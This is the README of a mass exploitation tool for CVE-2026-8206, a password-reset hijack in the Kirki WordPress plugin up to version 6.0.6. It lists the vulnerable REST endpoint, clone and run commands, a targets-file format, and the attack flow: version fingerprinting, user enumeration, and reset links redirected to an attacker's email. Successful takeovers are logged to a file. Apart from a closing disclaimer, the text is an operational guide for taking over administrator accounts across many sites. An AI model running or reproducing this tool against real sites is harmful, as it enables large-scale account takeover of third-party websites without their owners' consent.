
Mass exploitation tool for CVE-2026-8206 – Unauthenticated Privilege Escalation via 'handle_forgot_password' in Kirki WordPress plugin (≤6.0.6).
Mass exploitation tool for CVE-2026-8206 – a critical vulnerability in the Kirki WordPress plugin (versions ≤ 6.0.6) that allows unauthenticated attackers to hijack password reset links and take over any user account, including administrators.
The Kirki plugin exposes an unauthenticated REST endpoint (/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password). Due to missing permission checks and improper email validation, an attacker can:
Affected versions: ≤ 6.0.6
Fixed version: 6.0.7
readme.txt and kirki.min.css (supports both kirki and kirki-test folders)/wp-json/wp/v2/users (fallback to admin)requests libraryconcurrent.futures (backport, usually installed)Install dependencies:
pip install requests futures
git clone https://github.com/Jenderal92/CVE-2026-8206.git
cd CVE-2026-8206
Edit the script to set your attacker email:
ATTACKER_EMAIL = "[email protected]" # line ~15
python CVE-2026-8206.py <targets_file> [threads]
<targets_file> – text file with one domain per line (with or without http:///https://)[threads] – optional, number of concurrent threads (default: 15)python CVE-2026-8206.py targets.txt 20
targets.txt)example.com
https://vulnerable-site.com
http://127.0.0.1/wordpress
res.txt – contains successfully exploited targets in format:
URL|username|attacker_email|reset_link_sent_to_attacker_email
Example:
https://example.com|admin|[email protected]|reset_link_sent_to_attacker_email
Console output shows real‑time progress:
/wp-content/plugins/{kirki,kirki-test}/readme.txt (Stable tag) and /.../kirki.min.css (ver parameter). If version ≤ 6.0.6, proceed./wp-json/wp/v2/users, if empty falls back to admin.username = target usernameemail = attacker’s emailemailBody = JSON that includes the reset_link chip200 and "Email sent", the target is written to res.txt.This software is provided for educational and authorized security testing purposes only. Unauthorized use against systems you do not own or have permission to test is illegal. The author is not responsible for any misuse or damage caused by this tool.
More Disclaimer You Can see the disclaimer on the cover of Jenderal92. You can check it HERE !!!